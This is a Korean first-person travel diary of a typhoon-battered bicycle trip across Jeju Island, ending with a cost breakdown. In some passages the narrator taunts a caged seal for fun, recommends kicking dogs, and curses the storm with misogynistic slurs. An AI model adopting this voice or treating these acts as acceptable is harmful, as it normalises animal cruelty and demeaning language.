어젯밤 비탈길에서 넘어진 상처는 그대로 내버려두었다. 상처에서 피가 배어 나오거나 팔꿈치를 굽힐 때마다 상처가 벌어지고 그 사이로 빗물이 스며 들었지만 약을 바르지 않았다. 내버려두면 나을 것이다. 그점에서는 일말의 확신이 있었다.

텐트 바깥의 주차장 옆에 놓인 벤치에 앉아 가로등 밑에서 시내에서 사온 맥주를 꺼내 마시고 알이 베긴 다리를 한 시간쯤 정성껏 주물렀다. 바람은 여전해서 안주가 몇개씩 날아다니고는 했다. 배가 고팠지만 근처에 문을 연 가게는 없었다. 태풍이 몰아치고 있는 해변에 나가 다시 소주 한 병 깠다. 파도가 허벅지까지 기어 올라오고 강한 바람 때문에 여러번 휘청거렸다.


올라오는 길에 물개한테 플래시로 눈을 집요하게 비추어 놈이 미쳐 날뛸 때까지 약을 올렸다. 물개는 정말 개처럼 '컹컹'하고 짖었다. 재미있었다.


어제 다친 상처 때문에 평소 왼쪽으로 돌아눕지는 못하고 텐트에 반대로 기대 누웠다. 텐트 안은 완벽하게 어두웠다. 밤이 되자 또 다시 비가 내리기 시작했다. 그냥 비가 아니라 비바람이 좀 심하다 싶을 정도로 몰아쳤다. 텐트가 좌우로 흔들리다가 그짓도 식상해졌는지 동서남북으로 흔들렸다. 낌새가 안 좋아 빗줄기를 맞으며 밖으로 나가 텐트에 묶인 줄을 점검하고 다시 한번 조였다.

플래시를 켜놓고 파일럿을 꺼내 소설을 읽었다. 플라네타리움 프로그램으로 확인해 보니 그믐달이다. 사리 때이므로 물이 불어날 것 같다. 플래시를 끄고 텐트에 누웠다. 쉬익, 슈웅, 바다다다, 투둑투둑, 두다다다, 부드득 부드득, 쏴아, 펄러덕, 핑, 태풍의 비바람 속에 놓인 텐트는 별에 별 소리를 다 내며 상하좌우로 카오틱하게 흔들렸다.

새벽 두 시쯤 추워서 잠이 깼다. 소리는 여전했고 포닥포닥 쌔앵 철컥 지이이이 하는 새로운 소리가 추가되었다. 나무 곁에 세워둔 자전거가 자빠져서 바퀴가 헛도는 소리인 듯 싶었다. 파도는 이제 폭음에 가까웠다. 퍼엉, 츄아아아 하는 소리가 4-5초 간격으로 꾸준히 들려왔다. 텐트가 무너질까봐 줄곳 걱정스러웠다. 낮 동안 줄곳 비바람과 싸우느라 알이 베기고 뼈 마디마디 마다 땅의 냉기가 스며들어 쑤시고 결렸지만 다시 잠을 청했다.

9/15

6시쯤 잠에서 깨었다. 텐트 밖으로 비가 내렸지만 개의치 않았다. 화장실 옆의 급수장에서 칫솔질을 하고 머리를 감았다. 수건이 비에 젖어 한번 빨고 쥐어 짠 다음 머리를 문댔다. 세수와 멱감기는 적어도 25년 이상 지속되어온 관례적인 행사일 따름이다. 따라서 멱감기가 끝난 머리에 빗물이 떠러져 내려도 신경쓰지 않았다.

망할 놈에 비 때문에 새로 갈아입은 옷이 젖어들기 시작했다. 할 것 다하고 텐트를 걷었다. 텐트에 물기가 잔뜩 배어 상당히 무거웠다. 옷가지, 침낭 등이 조금씩은 젖어 있거나 습기로 묵직했다. 비가 계속 오기 때문에 말릴 처지도 안되었다. 밤새 추워서 덮고 잔 룽기는 기특하고 쓸모있는 여행의 컴패니언이었다. 이놈은 수건으로도 쓸 수 있고 샤워타월로도 쓸 수 있고 치마로도 쓸 수 있고 때로는 보따리로도 쓰였다. 지난 새벽에는 이불로 요긴하게 쓰였다.

물개 우리에서 인기척을 느낀 물개가 컹컹 짖어대기 시작했다. 자식 깨어났군. 다가가자 몸을 황망히 비비 꼬으며 우리의 구석으로 피했다. 나랑 놀고 싶다는 뜻이지? 사람들이 오기 전에 녀석을 마지막으로 놀려주었다. 해변의 풍광을 바라 보았다. 어제보다 심하면 심했지 파도와 바람은 기세를 누그러뜨리지 않고 있었다. 어젯 밤 해변을 걸으며 선명하게 찍어놓은 내 발자국들은 모두 사라졌다. 소나기인가? 태풍은 어떻게 된거지? 해수욕장에 몰아치는 파도는 기세가 여전했다. 오끼나와에 가 있어야 할 태풍이 아직까지 설치고 있다는 것이 잘 이해가 안 갔다.

자전거를 몰고 일찌감치 주상절리로 방향을 틀었다. 서귀포에 몇 개 있는 폭포 따위는 이전에도 보았고 지금은 그다지 보고 싶지 않았다. 주상절리는 나를 실망시키지 않았다. 어쩌면 폭풍 때문인지도 모르겠다. 좁은 어귀로 밀려들어온 파도는 갑자기 용솟음쳐서 소나무 꼭대기까지 치달았다가 잦은 포말이 되어 밀어 닥쳤다. 덕택에 전신이 다 젖었다. 아직 관광객들이 얼마 찾아오지 않는 탓인지 사람 때를 별로 안 탔다. 호박엿 파는 양반에게 물어보면 서귀포로 15분은 빨리 갈 수 있는 해안도로를 알 수 있다고 했는데, 너무 이른 시간인지 아무도 없었다. 맞은 편에 컨벤션 센터를 한창 짓고 있었다. 여기도 곧 관광지가 되겠군. 컨벤션 센터 공사현장의 수위 아저씨에게 가는 길을 물었지만 잘 모르는 듯 했다. 주상절리의 입구이기도 한 민속 마을은 내 관심사 밖이고 관광객들이 열심히 봐줄 것이므로 지나쳤다.

평상 시의 주상절리

하아, 한숨 한번 쉬고 빗속을 뚫고 자전거를 몰아 서귀포 시내까지 올라갔다. 다리가 묵직했다. 문득 배가 고파서 식당에 찾아가 '고단백질 영양 만점 선지 해장국'을 시켜먹었다. 3일만에 하는 제대로 된 식사였다. 어쩐지 힘이 나는 것 같았다.

식사가 끝났을 때, 비가 잠시 그친 하늘 사이로 얼핏 보이는 파란 하늘이 기분 좋았다. 오늘은 의외로 시작부터 기분 좋은 출발이 될 것 같다. 다리는 알이 배겨 있었지만 그럭저럭 나아가는 데에는 문제가 없었다. 그런데 30분쯤 지나자 하늘이 어두워지고 다시 그 빌어먹을 바람이 불어대기 시작했다.

굵은 빗방울이 떨어졌다. 오늘 성산까지 가려면 적어도 4시간 이상은 꾸준히 달려야 하는데... 어제의 악몽이 되살아났다. 아니 빗줄기와 바람은 어제보다 더 심했다. 한 시간도 안되어 온 몸이 젖었다. 무시무시한 강풍은 중력의 손아귀에서 빗줄기를 이리저리 끌어당겼다. 빗방울들이 비행하기 시작했다. 거의 5-60도의 각도로 비스듬히 날아온 빗방울의 타격은 마치 쌀알로 피부를 강하게 두들기는 것처럼 따끔따끔 했다. 그것도 익숙해지자 드러난 얼굴, 팔, 다리가 마치 맛사지를 받는 것 같았다. 빗방울이 우박처럼 여겨지는 것은 처음이다. 바람은 적어도 7~10m/s 정도의 속력으로 불어오는 것 같다. 빗방울은 더 이상 '떨어진다'는 상식에 부합되지 않았다.

도로의 낮은 곳에는 간혹 물웅덩이가 형성되어 자전거 중심축까지 푹 잠길 지경이었다. 어젯밤 비로 무거워진 텐트 사이사이로 빗물이 스며들어 짐들이 점점 더 무거워지는 것만 같았다. 짐칸에 매어둔 배낭이 젖기 시작했다. 핸드폰은 물에 푹 젖어 동작 불능 상태였다. 파일럿 역시 물기가 스며 들어 전원이 켜지지 않았다. 담배와 라이터 역시 젖어 이 모든 비바람을 저주한 후 한숨 한번 길게 쉬며 길가에 주저앉아 담배 한 대 피울 수 없는 형편이었다.

사실 앉을 형편도 안되었다. 비를 가려줄 처마는 커녕 사방이 뻥 뚫린 길이 훤한 평야로 펼쳐져 있었다. 그러고보니 3일 동안 담배 한 갑을 다 피우지 못했다. 그럴 여유가 없었을 뿐더러 담배를 피우면 입안이 건조해져서 피료 이상으로 수분을 많이 섭취하게 될 터였다. 아침에 채워둔 물병의 반은 이미 먹어치웠다.

다행히 바람은 동서남북 차례대로 불어주었다. 빗줄기가 잦아들 쯤에는 간간히 도로를 달리는 차량이 튀겨대는 물 때문에 당하는 피해가 심각했다. 브레이크는 지속적으로 생긴 수막 때문에 거의 작동하지 않았고 팬티 속까지 흠뻑 젖어 들었다. 3일 내내 자전거를 탔기 때문인지 똥고 부근(회음부라고 하던가?)이 이래저래 쑤셨고 이쪽에 뭉치고 짓눌린 근육은 어떻게 풀어줘야 할지 난감했다.

그러나 비 덕택에 다리 근육에서 나는 열이 상당히 잘 식었다. 공냉식에 비하면 냉각효과는 꽤 탁월해서 근육을 피스톤처럼 움직이는 데에는 지장이 없었다. 게다가 훌륭한 아침 식사 덕택에 몸에서 힘이 났다.

고개를 스무 개쯤 넘었을까? 서서히 숨이 막혀 오면서 머릿속에서는 아무 생각도 나지 않았다. 머리가 하얘졌다. 그저 기계처럼 막연하게 패달을 밟고 있었다. 강풍이 불어오면 자전거에서 내려 질질 끌고 갔다. 간간히 돌풍에 자빠지기도 했다. 바람에 밀려 오도가도 못하게 되면 바닥에 자전거를 포개고 납작하게 엎드려 가로등을 붙들고 바람이 지나가길 기다렸다. BB탄알처럼 따끔따끔한 빗방울이 안경에 자주 부딛혀 시야를 가로막았다. 그러나 안경을 벗을 생각은 들지 않았다. 그 빗방울이 눈알에 정면으로 맞았을 때를 생각하면 끔찍했다.

바람을 등지고 고갯마루를 달려가다가 가속으로 힘을 받았을 때는 자전거가 잠시 공중에 떴다. '자전거도 나도 닭이다' 라고 생각했다. 철커덩 하고 떨어졌을 때는 소화가 촉진되는 듯 싶었다. 그러고보니 이틀 내내 화장실에 가지 않았다. 그저 방귀만 한두번 피식 하고 김새듯이 흘러 나왔다. 음식물은 거의 완전하게 연소된 것이다. 이제 그 동안의 게으른 문명 생활로 축적된 지방이 연소될 차례였다.

브레이크를 쓸 일이 없었다. 제대로 들어먹지 않았고 항력이 매우 쎘다. 어차피 자전거가 빨리 달려봤자 시간당 30km 미만의 속도로 달리고 있었다. 비바람이 회오리처럼 온몸을 감쌌을 때는 세탁기 속의 빨래가 된 기분이 들었다.

도로공사 중인 곳을 주로 다녔다. 도로는 멀쩡한데 공사중이라고 막아놓은 곳이다. 가끔 보이는 다리 아래로 보이는 건천은 콸콸 거리며 물이 흘러내리고 있었다. 평소에는 말라있다가 바가 오면 건천이 흐르기 시작한다는 말을 들었다. 차량 한 대, 사람 하나 보이지 않는 공사중인 도로를 빠져 나와 어떤 작은 읍내로 들어갈 무렵 빗줄기가 다소 약해졌다. 긴장이 풀린 순간 그동안 치뤘던 비바람과의 씨름으로 맥이 탁 풀리며 거의 탈진할 지경이었다.

핫 브레이크 두 개는 이미 먹어치웠고 물도 한 방울 남지 않았다. 수퍼에 들어가려고 생각해보니 가게에 물을 뚝뚝 흘리며 들어갔다가 나와 다시 복장을 저미는 과정이 귀찮았다.

다시 해안 도로로 접어 들었다. 성산까지는 20여 킬로미터가 남았다. 언제나 목숨을 내놓고 다니는 용감한 낚시꾼들이 휘청거리는 비바람에도 아랑곳 않고 갯바위에서 낚시대를 드리우고 있었다. 파도가 무척 거세서 도저히 도로로는 치밀어 오르지 않을 것 같은 파도가 간혹 도로까지 혓바닥을 낼름 거리고 있었다.

해변을 따라 간간이 부대 초소가 보였다. 초소에서 기르는 듯한 강아지가 세 마리가 갑자기 나타나 짖어대기 시작했다. 지친데다가 허탈하고 가소로운 기분이 들어 자전거를 멈추고 노려보았다. 세 놈 다 비를 맞아 꼬라지가 말이 아니었다. 코가 발달한 짐승들은 다른 짐승들로부터 공포의 냄새를 맡는다. 상대가 공포를 느끼면 기고만장해서 달려드는 것이다. 어린 시절에 개한테 한 번 물린 이후로 개에 대한 두려움을 조직적으로 없앴다. 이제는 그런 유치한 행동을 취할 필요가 없었다. 개들은 내가 자기들을 두려워하지 않는다는 것을 금방 눈치챘다. 짖어봤자 소용없다는 것도 눈치챘다. 누가 더 쎈가도 눈치챘다. 물론 예외는 있다. 덩치 큰 녀석들은 언제나 기고만장했다. 맞장을 뜨고 싶어하는 것이다. 녀석의 공격무기래봤자 입 밖에 없다. 겁먹지 않고 침착하게 옆구리 한번 걷어차면 대부분의 개는 깨갱 거리기 마련이다. 그렇다고 내가 개한테 유난히 유감을 느낀 적은 없었고 개들을 귀여워 해주는 편이었다. 힘 없고 불쌍한 녀석들이다.

해안도로를 가도가도 구멍가게는 보이지 않았다. 지쳐서 국도로 접어들려고 한 순간 갑자기 기적처럼 가게가 나타났다. 컵라면을 주문했다. 꾀죄죄하게 비에 젖은 새앙쥐같은 몰골로 달랑 컵라면을 주문하며 휘청거리는 내 몰골이 불쌍했는지 아줌마가 밥과 김치를 떠다 주었다. 보잘것없는 포장으로 콧방귀를 뀌게 만드는 농심 새우탕면이 이렇게 맛있는 라면인 줄은 처음 알았다. 정신없이 먹었다. 만일 밥이 없었더라면 막걸리를 한 병 주문했을 터였다.

아줌마가 태풍 소식을 전해 주었다. 사오마이 태풍은 어제 한동안 제주 남부 바다에서 정체되어 있다가 갑자기 내 생각이 났는지 제주도를 향해 빠른 속도로 기어 올라오고 있으며 지금은 제주도 전역에 태풍경보가 발효중이라는 것이다. 지난 이틀 동안 남다르지 않은 값진 교훈과 악천후 공수훈련 및 생존술의 기회를 선사해준 '닝기미 시부랄 좆도 사오마이 태풍'은 내일까지 제주도를 유린한 후 내륙으로 진출할 예정이란다.

아줌마에게 고맙다고 인사한 후 이빨을 악다물고 해안도로를 달렸다. 오늘 오후까지, 성산 일출봉까지 미친듯이 달려간 다음, 내일 일정을 완벽하게 마무리 하고 자전거 가게에 들러 '완주하고 왔습니다' 라고 당당하게 말할 작정이었다. 해안도로를 달려가는 내내 생리혈에 밥 말아먹을 미친년 같은 태풍에 욕설을 퍼부어대는 무의미한 짓을 했다.

돌이켜 생각해보면 휴가를 갈 때면 어김없이 비가 왔다. 적어도 지난 10여년 동안 줄곳 그랬다. 어린 시절 소풍가서 맑은 하늘을 본 적이 없었다. 몇주 전에 무릉계곡에 잠시 머리 식히러 갔을 때도 그랬다. 그날도 등반을 포기하니까 비가 멈추었다. 지난 여름 초에 용추 계곡에 놀러갔을 때도 계곡에서 물장구를 치는 동안 비가 내렸다. 작년에 인도에 갔을 때는, 하!. 그때는 우기였다.

원래 이번 제주 여행 계획은 이랬다: 오후 중 제주항에 도착, 제주시 서쪽으로 출발, 장렬한 석양을 바라보면서 한림 협재 해수욕장에 도착, 그리고 호롱불을 밝히며 낭만적인 야영, 다음날 아침에는 선 블럭 크림을 바른 채 느긋하게 해수욕, 제주도 흑돼지 갈비로 영양 보충, 다시 중문으로 출발, 중문 해수욕장에서 파도를 희롱하며 오후를 보낸다, 맛있는 해물 찌게를 먹고 나서 야영, 다음날 아침, 서귀포로 가다가 해녀가 방금 잡은 문어를 초고추장에 찍어 소주를 한잔 곁들이고 도로에서 내다파는 시큼한 감귤을 한웅큼 씹어 비타민을 보충하며 낭만을 구가, 그리고 성산에 도착, 전복죽 한 그릇 먹고 이틀간 여행의 피로를 날려버리기 위해 오늘은 특별히 민박, 따뜻한 물로 샤워한 후 시큼한 소주 한 잔, 그리고 다음날 아침 5시 기상, 성산 일출봉으로 떠오르는 감격스러운 해돋이를 바라보며 그것을 뒤로 한 채 제주시를 향해 페달을 힘차게 밟는다. 태풍 때문에 다 틀어졌다.

성산에 도착했다. 관광이고 나발이고 중간에 있는 모든 볼거리들은 무시하고 지나쳤다. 숨이 목구멍까지 차올랐고 다리 근육이 몹시 뜨거워진 상태였다. 오후 3시, 부슬비가 내리고 있었다. 완벽한 비바람이 몰아치는 섭지코지에서 그저 휘청거리며 중심을 잡다가 자신이 한심스러워져 물어물어 민박집을 잡았다. 주인 아저씨에게 했던 첫 마디가 '뜨거운 물 나옵니까?' 였다. 그는 고개를 끄떡였고 안심하고 들어갔으나 뜨거운 물은 물론 나오지 않았다. 지치고 귀찮아서 보일러 켜달라는 말을 굳이 하지 않았다. 온 몸이 물에 젖은 상태라 샤워부터 했다. 차가운 물줄기 덕택에 전신에 소름이 돋았고 근육이 더더욱 뻣뻣하게 굳어지는 것 같았다. 저녁먹고 소주 한 잔 마시고 올림픽 개막식을 멍청하게 구경했다. 성화대에 불을 붙일 때에도 물이 콸콸 흘렀다. 3일 내내 나를 엿먹인 '빌어먹을 날씨' 소식을 듣다가 잤다.

9/16

나흘째, 마지막 날이다. 거의 10시간을 잤다. 방구석을 쳐다보았다. 한쪽 구석에 이불이 있고 방의 대부분은 말리려고 펴놓은 옷가지와 짐 투성이로 발 디딜 틈이 없었다. 선풍기는 밤새 돌아갔다.

공동 샤워장에서 칫솔질을 하며 창 밖을 바라 보았다. 어젯밤에 태풍이 지나가면서 심하게 할퀸 자국이 역력했다. 창 밖으로 보이는 밭 작물들은 한결같이 모로 누워 있었다. 쉬이익 하는 칼바람 소리가 불길하게 들렸다. TV를 켜고 뉴스를 들어보니 태풍은 제주도를 통과했다고 나왔다. 이제 북쪽으로 올라갔다가 서쪽으로 갈 참인데 태풍이 제주도를 올라간 바람에 바람의 방향이 바뀌어 또 마파람을 맞고 가게 생겼다. 좌절감에 탄식이 흘러 나왔다.

아침을 간단히 먹었다. 4000원짜리 백반은 밥 한 공기와 풀 국 한 그릇, 형체를 알아볼 수 없는 희안한 물고기 구이, 그리고 죽은 채소 무더기 다섯 접시로 구성되어 있었다. 관광지 음식은 이래서 싫다. 돈을 더 들여서라도 제대로 된 식사를 할 껄 하는 아쉬움이 남았다. 성산을 빠져나가기 전에 수퍼에 들러 우유를 하나 들이켰다. 빙그레 바나나 우유, 양과 질에서 만족스러운, 내가 제일 좋아하는 우유.

제방을 건널 때 바람 때문에 자전거가 휘청거렸다. 지난 이틀 동안 거의 마파람을 상대하느라 파곤죽이 되었는데... 마지막까지 이 모양인가? 해안도로 구석에 자전거를 눕혀 놓고 망연히 거센 파도가 밀려오는 바다를 바라보았다. 파도는, 참, 요란하게도 치는구나.

다시 출발했다. 성산에서 북으로 이어진 4 킬로미터 가량의 해안도로는 지옥이었다. 도저히 자전거를 끌고 갈 형편이 안되었다. 게다가 어제 너무 무리하게 나아가는 바람에 근육에 힘이 없었다. 오르막길에서는 자전거에서 내려 거의 끌고가다시피 했다.

어제 바람은 비와 함께 오느라 세력이 약했지만 오늘은 비는 거의 안 오고 바람만 미친듯이 불어댔다. 힘에 부쳐 10분을 채 못가고 주저 앉아 담배를 피우고는 했다. 담배는 30초도 안되어 꽁지까지 타들어갔다. 미처 한 모금 빨기도 전에 바람이 대신 담배를 태웠다. 다 탄 담배는 바람에 날려 바다에 떨어졌다.

고개를 숙여 바람의 저항을 어떻게든 줄여보려고 애썼다. 그러다가 갯지렁이 한 마리가 길을 횡단하며 지나가는 것이 보였다. 녀석은 바퀴에 깔려 짓이겨져서 죽었다. 태풍이 안 불었더라면, 내가 9월 16일 오후 5시에 출발하지 않았더라면, 오늘 아침 성산에서 10시 무렵에 출발하지 않았더라면, 내가 밥공기에서 마지막 밥알을 다 먹었더라면, 내가 중간에 잠시라도 한번 쉬지 않았더라면, 이런 무한한 우연이 단 하나라도 겹치지 않았더라면 녀석은 무사히 길을 건넜을 것이다. 너는 오늘 성불하고 나는 오늘 집으로 돌아가겠다.

도로에서 지난 나흘 동안 배가 터져 죽은 뱀 한 마리, 짜부러져 깃털만 남은 새 두 마리, 내장이 터진 쥐 한 마리를 보았다. 도로 중간중간에 말리려고 내어놓은 미역들은 바람 때문에 반은 휩쓸려 도로 사방에 흩어져 있었다.

지옥의 해안 도로를 통과하다가 도저히 안되겠다 싶어 내륙의 촌락으로 향하는 좁은 길을 따라갔다. 야트막한 돌담이 자전거 높이까지는 바람을 가려주어 진행이 수월했지만 곳곳에 도사린 물웅덩이에 고인 흙탕물 덕택에 드러난 맨살과 샌달에는 흙탕이 튀겼다. 길은 종종 막혔다. 도시였다면 거의 모든 도로가 연결되어 있을 것이다. 갑자기 길이 끝나면 당혹스러웠다. 썬컴퍼스로 대략의 방위를 알 수는 있었지만 그 방위에 있어야 할 길이 없는 것이다. 이도저도 안되어 힘겹게 패달을 밟아 간신히 작은 시가지에 들어섰다.

어제부터 '고기국수'라는 것이 궁금했는데 마침 그것을 파는 분식점이 보였다. 들어가니 점심 시간임에도 손님은 나 밖에 없었다. 물끄러미 아줌마가 '고기국수' 만드는 과정을 지켜보았다. 1. 냄비에 물을 붓고 냉장고에서 지방이 잔뜩 낀 돼지고기를 꺼내 끓인다. 2. 배추와 당근을 썰어 끓기 시작한 냄비에 넣는다. 3. 국수를 넣는다. 4. 내온다. 무슨 맛이 이런지 모르겠다. 쓰잘데기 없는 야채도 그렇고 당장 열량으로 바뀌지 않는 지방도 그렇고 너댓번 젓가락으로 짚자 없어지는 밀가루 국수도 그랬다. 아침을 부실하게 먹었는데 점심마저 이 모양이라니...

아침 10시에 출발해서 해안도로만 통과하는데 2시간이 걸렸다. 가늠잡아 두 시간 동안 더 바람하고 싸워서 6킬로 남짓을 나아갔다. 기진맥진한 상태였다. 어젯밤 비에 젖어 너덜너덜 해진 지도를 정성스레 말려 놓았는데, 지도를 살피려고 꺼내 들었다가 바람 때문에 반이 찢어지면서 두쪽이 난 채 날아갔다. 날아가는 지도를 잡기 위해 허벅지가 얼얼함에도 뛰었다. 반쪽만 잡았는데, 이미 지나쳐 온 부분이었다. 돌아갈 길이 적힌 남은 반쪽은 바람을 타고 멀리멀리 날아갔다. 우두커니 서서 지도가 날아가는 모양을 멍청하게 쳐다보았다. 12번 국도는 그렇다치고 제주시내의 지리를 통 알 수가 없다.

갑자기 지긋지긋한 비가 또 내리기 시작했다. 금방 개었다. 바람 때문에 비가 내린 도로는 금새 말랐다. 바람 때문에 제주도 곳곳은 무척 깨끗했다. 바람이 도로의 잡 쓰레기들을 모두 날려버렸기 때문이다. 물병이 바람에 날아가 갈증이 심했다. 바람 때문에 땀이 나오자마자 신속하게 증발했다. 날씨가 맑아 살이 타들어가기 시작했다. 바람이 땀을 말리면 피부에는 결정화된 소금만 남아 벅벅 긁혔다. 돛단배도 아니고, 바람에 이렇게 마음이 이리저리 흔들리도록 신경 써보기는 처음이다. 배 고픈데 빵이라도 사먹게 근처에 구멍가게가 있었으면 좋겠다고 생각했다. 바램과 달리 도로는 황량하기 그지 없었다.

건너편 길로 자전거를 타고 가는 두 친구가 보였다. 인사할 기운이 없었다. 바람을 등지고 힘차게 나아가는 그 친구들이 내심 부러웠다. 나는 맞바람 속에서 기진맥진해 페달을 밟는 둥 마는 둥 하고 있었다. 인상을 찡그린 채 그들이 지나가는 모습을 멀뚱히 쳐다 보았다. 뭐가 좋은지 히죽히죽 웃으며 지나갔다. 여행 내내 나를 앞서간 팀도 없었고 마주친 팀도 없었다.

자전거를 고단으로 맞추어 놓고 천천히, 하지만 꾸준히 전진했다. 태풍 때문인지 수업을 안하는 작은 분교에 들러 세수를 하고 머리를 감고 흙탕으로 얼룩진 정강이와 샌달을 깨끗이 닦은 후 수도꼭지에 입술을 붙인 채 오랫동안 꿀꺽꿀꺽 물을 삼켰다. 물배라도 채울 심산이었다. 오줌을 눗기 위해 화장실에 들렀다가 거울을 흘낏 쳐다보니 팔 다리 얼굴 할 것 없이 제주도 흑돼지처럼 새까맣게 탔다. 흑돼지도 전복죽도 먹어보지 못했다. 생각해보니 볼거리도 대부분 그냥 지나쳤다.

선글래스를 꺼내 썼다. 얼굴에 묻은 물은 바람에 금새 말라버렸다. 맞바람은 제주시까지 오는 동안 지속되었다. 차들이 횡횡 지나쳤고 제주시까지 가는 길은 비좁았다. 시내에서 우왕좌왕 했다. 눈에 띄는 사람들마다 거리를 물었다. 시내에는 그래도 바람이 심하지 않아 그나마 나은 편이었다. 다리가 후들거렸지만 자전거 가게 앞에서는 기운 찬 모습을 보여주었다. 오후 다섯시였다. 일곱시간이 걸려서 고작 36킬로를 온 것이다.

나는 웃고 있었다. 가게 주인이 자전거 탄 사람들을 보았냐고 물었다. 고개를 끄떡였다. 그 친구들은 어제 도착해 태풍이 잦아들길 기다렸다가 하루가 지나 출발한 것이라고 말했다. 속으로 배짱이 부족했군 하고 중얼거렸다. 주인이, 댁은 여행 경험이 많은 것 같아 완주할 것이라고 생각했다고 말했다. 당연하다는 듯이 미소를 짓고 후들거리는 다리를 간신히 진정시킨 후 가게를 나와 맥없이 터덜터덜 걸었다.

쇼윈도의 거울같은 유리에 몰골을 비추어보니 예상대로 머리카락이 엉망으로 헝클어져 있었다. 입가에 야비한 미소를 지어 보았다. 한참 만에 수퍼를 찾았다. 거기서 빵과 우유를 사다가 놀이터에서 게걸스럽게 먹었다. 해가 지고 있었다. 도대체 여기와서 뭘하다 간 것인지 모르겠다. 그래도 배가 좀 차자 기운이 났다. 집에 가야지.

택시를 타고 공항에 도착했다. 택시기사가 잘 놀다 가냐고 물었다. 히죽히죽 웃었다. 공항으로 가서 비행기를 탔다. 스튜어디스가 재난 발생시 승객이 해야할 안전 사항을 몸으로 보여주고 있었다. 동작이 우스워보였다. 산소 호흡기를 내려 입에 갖다 붙인다? 파이팅 클럽에서 주연 배우는, 산소 호흡기를 끼면 순수한 산소가 흡입되면서 뇌가 일시적으로 현기증을 일으키고 환각상태에 빠진다고 말했다. 산소 호흡기를 끼는 것은 곧 닥칠 죽음을 편하게 해주기 위한 것이라는.

서울에 돌아오니 비가 추적추적 내리고 있었다. 오버 트라우저를 뒤집어 쓰고 얕게 내리는 빗속을 거닐다가 포장마차에서 닭꼬치와 오뎅을 사 먹었다. 아줌마에게 물었다. "여긴 언제부터 비가 왔어요?" "나흘 전부터. 댁은 딴데서 왔어요?" "예." "어디서?" "딴데서요." 다른 곳, 태풍이 휘몰아치던 곳.

오래오래 기억에 남을 것 같다. 사진 한 장 안 찍었지만 정신이 오락가락 할 정도로 태풍을 온몸으로 체험했던 위기의 나흘, 아드레날린이 솟구치던 나날들이었다. 이번 자전거 하이킹의 교훈: 음식은 맛보다 열량이 훨씬 중요하다.

제주 하이킹 후 새까맣게 탄 얼굴, 지쳤다.

3박 4일 제주도 하이킹 경비 총액: 220,000원
제주 왕복 항공료=141,000원
민 박 2회=30,000원
자전거 4일 대여료=20,000원
나머지는 식비, 기타등등
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